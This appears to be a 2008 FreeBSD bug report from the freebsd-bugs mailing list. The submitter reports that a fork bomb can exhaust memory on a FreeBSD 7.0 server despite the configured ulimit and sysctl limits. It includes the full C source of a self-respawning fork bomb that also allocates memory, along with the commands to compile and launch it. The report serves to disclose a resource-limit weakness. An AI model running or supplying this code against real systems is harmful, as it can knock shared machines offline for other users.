kern/121949: Fork bomb, who can always stop system.
Michał Garbowski
garbus at op.pl
Sat Mar 22 00:00:09 UTC 2008
>Number: 121949
>Category: kern
>Synopsis: Fork bomb, who can always stop system.
>Confidential: no
>Severity: serious
>Priority: high
>Responsible: freebsd-bugs
>State: open
>Quarter:
>Keywords:
>Date-Required:
>Class: sw-bug
>Submitter-Id: current-users
>Arrival-Date: Sat Mar 22 00:00:08 UTC 2008
>Closed-Date:
>Last-Modified:
>Originator: Michał Garbowski
>Release: 7.0-STABLE FreeBSD 7.0-STABLE #1: Thu Mar 13 08:34:01 CET 2008
>Organization:
-
>Environment:
FreeBSD em 7.0-STABLE FreeBSD 7.0-STABLE #1: Thu Mar 13 08:34:01 CET 2008 root at em:/usr/obj/usr/src/sys/GENERIC i386
>Description:
Program - fork bomb - like this:
forkbomb.c
#include <stdlib.h>
#include <stdio.h>
int main(void);
int zonk(void);
int zonk (void)
{
int i=0;
while (1)
{
char* zonk;
i=i+4;
zonk=malloc(i);
printf("%d\n",i);
system("ping -s 56 -c 1 localhost > /dev/null && screen -m -d -s ~/kaboom > /dev/null");
wait(10);
}
return 0;
}
int main (void)
{
zonk();
return 0;
}
Compiled as: cc -o ~/kaboom forkbomb.c
Can stop freebsd, with limist:
$ ulimit -a
core file size (blocks, -c) 1024
data seg size (kbytes, -d) 4096
file size (blocks, -f) 1478656
max locked memory (kbytes, -l) 4096
max memory size (kbytes, -m) 8192
open files (-n) 2599
pipe size (512 bytes, -p) 1
stack size (kbytes, -s) 1024
cpu time (seconds, -t) 86400
max user processes (-u) 50
virtual memory (kbytes, -v) 32768
$ cat /etc/sysctl.conf
security.bsd.see_other_uids=0
kern.maxprocperuid=50
net.inet.tcp.msl=7500
net.inet.tcp.blackhole=2
net.inet.udp.blackhole=1
net.inet.icmp.icmplim=50
When I start:
screen -m -d -s ~/kaboom
fBSD gives memory in spite of all limits. Is there any limit, which can stop adding memory for that forks ?
My server has:
200 MB Ram memory,
128 MB Swap memory.
>How-To-Repeat:
I don't know.
>Fix:
I don't know.
>Release-Note:
>Audit-Trail:
>Unformatted:
More information about the freebsd-bugs
mailing list